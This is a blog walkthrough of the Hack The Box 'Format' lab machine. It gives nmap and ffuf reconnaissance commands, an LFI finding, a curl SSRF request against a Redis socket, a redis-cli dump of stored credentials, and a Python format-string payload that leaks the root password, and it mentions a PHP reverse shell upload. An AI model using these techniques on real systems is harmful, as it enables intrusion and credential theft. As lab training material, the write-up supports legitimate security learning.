Format HTB Walkthrough/Writeup

Format HTB Walkthrough/Writeup

The “Format” machine is created by coopertim13. This is a medium HTB machine with a strong emphasis on Redis usage and the orchestration of chained attacks.


Using Nmap

nmap -sC -sV -O -A -T4 --min-rate=1000
Nmap scan report for microblog.htb (
Host is up (0.31s latency).
Not shown: 997 closed tcp ports (reset)
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
|   256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_  256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-title: 404 Not Found
|_http-server-header: nginx/1.18.0
3000/tcp open  http    nginx 1.18.0
|_http-title:  Microblog
|_http-server-header: nginx/1.18.0
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 110/tcp)
1   385.73 ms
2   386.76 ms microblog.htb (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 49.64 seconds

After nmap report, we found that there are three open ports on this machine. Now, let’s add the ip to /etc/hosts & access microblog.htb. On port microblog.htb:3000 we found that there was a page (looks like a GitHub page) & some files.

After that, we tried to find if there are any directories or subdomains that exist on this site.

Subdomain Enumeration

ffuf -u http://microblog.htb -H "Host: FUZZ.microblog.htb" -u <your_wordlist>

During subdomain enumeration, we found 2 subdomains named ‘app’ and ‘sunny’. Let’s add these subdomains to our /etc/hosts file & get access to it.

On the app.micoblog.htb page, we found that we can register ourselves and can create our subdomain. So let’s go through this procedure…….

After successfully registering, we created our own subdomain & added it to our /etc/hosts file to access it.

Now on this page, we noticed that we can write anything & upload it on our own subdomain blog page. So, let’s write something & capture the request using BurpSuite. In this captured request, we detected that there was a parameter named “id” which is vulnerable to LFI & we successfully got the /etc/passwd file using this parameter.


Elevating to a Pro Level

While reviewing the Dashboard page and inspecting the source code, I noticed references to a ‘pro’ feature. After Enumerating many instances i found I identified the approach to reach the pro level.


We need to allocate ‘pro’ to our session through SSRF (Server Side Request Forgery).

Portswigger :

curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:<your_username>%20pro%20true%20a/b

Now, on the edit page, we get another access to upload images. We uploaded an image and named it rev.php using BurpSuite. Now we used the following command below to upload a php reverse shell.


Thereafter, when we went to the uploads/rev.php on the browser, we successfully got a PHP Reverse Shell on our machine.

To access the user account, we must establish a connection to redis-cli using the socks configuration file.

redis-cli -s /var/run/redis/redis.sock    
keys *

woo-ooh !! we got the username & password.

Privilege Escalation

On the Cooper user shell, we noticed that there is the existence of a license that probably gives the root shell or the root's password !!!!

sudo -l

After analyzing the license code, we found that the Python format string is vulnerable and /usr/bin/license communicates to the redis service.

After trying many techniques and searching many instances, I found this... Python Format String Vulnerabilities:

Step 1: Create a user through redis-cli and leverage the vulnerability in the username to display all variables.

HSET test2 username test1 password test first-name {license.__init__.__globals__} last-name test pro false

Step 2: Execute /usr/bin/license with sudo privileges to activate the license for the test2 user.

sudo /usr/bin/license -p test2

Boom..!!!!! we got the secret_key (root password). Let's log into the machine as root using this password and snatch the flag.

Machine Pwn3d !!

That's it guys....!! Thank you and don't forget to follow me 🫠🙃.

@hackthebox @formathtbwriteup @PenetrationTesting @Offensive Security

Did you find this article valuable?

Support Pradip Dey by becoming a sponsor. Any amount is appreciated!